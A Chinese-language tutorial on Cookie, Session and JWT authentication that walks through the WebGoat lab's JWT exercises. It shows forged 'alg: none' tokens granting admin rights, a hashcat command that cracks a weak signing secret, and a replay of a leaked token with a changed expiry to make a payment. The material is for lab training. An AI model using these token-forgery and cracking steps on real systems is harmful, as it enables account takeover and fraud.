Cookie、Session 和 Token 都是用于在 Web 应用程序中进行身份验证和状态管理的工具
存储在客户端
缺点:容易被盗取
存储在服务器
缺点:如双十一等大量用户访问时,服务器需要存储查询大量 Session,查询速度慢资源开销大,对性能也会产生影响
存储在客户端,解决了大量 Session 存储在服务器访问速度慢的问题
加密
json web token
json 是一种数据格式,为了处理不同数据间的转换
JWT 是 Token 的一种实现方式
存放位置不一定,可能是 Cookie、url、Authorization 等
解析网站
https://jwt.io
Header.Payload.Signature
Header 和 Payload 经简单的 base64 编码
Header(头部)包含算法类型和令牌类型
Payload(载荷)有具体含义的数据
Signature(签名) 为了验证 JWT 是否有效
算法类型(alg)
指定用于生成签名的算法,如 RSA、HMAC 等
如果替换成 none
,服务器不校验第三部分的签名
令牌类型(typ)
指定令牌的类型,默认为 JWT,为 JWT 时可不写
存储了有关用户或实体的声明和其他有关信息,如用户 ID、角色、权限等信息
防止前两个字段被修改。对 Header 和 Payload 进行验证,如果前两部分有更改,则 JWT 身份认证失败。
密钥存储在服务器,签完名发送回客户端存储
将 jar 包下载到 kali
链接:https://pan.baidu.com/s/1JJOTLqJ5ltg8PoCIiS4_Wg?pwd=ey35
提取码:ey35
使用以下命令开启靶场,将 ip 替换为 kali 的 ip
java -jar webgoat-server-8.1.0.jar --server.port=8888 --server.address=10.9.47.221
访问 http://10.9.47.221:8888/WebGoat
注册,登录
登录 Guest 外的用户
普通用户只能投票但不能清空投票
点击投票,抓包,抓取 Token 值
注意去掉分号和最后的 JESSIONID
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3MDI4MDM3NzMsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiU3lsdmVzdGVyIn0.hUJeIlFYuLSVpAJL8kCQ48bsHcyPTccWJTVHehGK5-gC_kMG3HxD2x0hytA32WJStgZR_mzT7QUOr5rZA0NJxg
打开解析网站
将头部中的加密方法 HS512
更改为 none
{
"alg": "HS512"
}
需要将以上内容复制到 base64 编码器中编码,无法直接在解析网站中修改解析后的值,并将 base64 编码后的结果复制到 header 的编码位置
ewogICJhbGciOiAibm9uZSIKfQ
同样的方法将 payload 中 admin 改为 true
如此,第三部分的签名验证则不起作用
复制此时的 JWT Header 和 Payload(注意最后的 .
),普通用户再次清空投票,将 Token 换位此时的 JWT,即以 admin 身份执行
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNzAyODAzNzczLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJTeWx2ZXN0ZXIiCn0.
成功清空票数
将 JWT 的三部分保存到 jwt.txt
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMjA0MzA2MCwiZXhwIjoxNzAyMDQzMTIwLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5Y4vwpUyznrx6NE3QPOiBq2zEmtav5MarHHhMHJ0Zqg
准备 1.txt 密钥字典
victory
secret1
business
washington
kali 执行命令
hashcat -m 16500 jwt.txt -a 3 -w 2 1.txt --force
爆破出密钥 washington
将给出的 JWT 复制到解析网站
将 username 字段更改为 WebGoat,修改有效时间
将密钥 washington
填入密钥位置,生成新的签名
提交 jwt,成功过关
模拟发现了已经泄露的 JWT,使 JWT 再次生效
更改签发时间和到期时间(exp),让 Tom 给你付钱买书
点击 here 查看日志
复制 Token
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.
将 HS512 改为 none,将 exp 改为现在的时间
找个时间戳转换网站,生成时间戳(保证大于提交数据包的时间)
时间戳、Unix 纪元时间(距 Unix 诞生(1970.1.1)过了多少秒
将 Token 前两部分复制
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAyMDgyODkwLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.
点击付款,抓包
将 Token 值复制到 Authorization 位置,放包
成功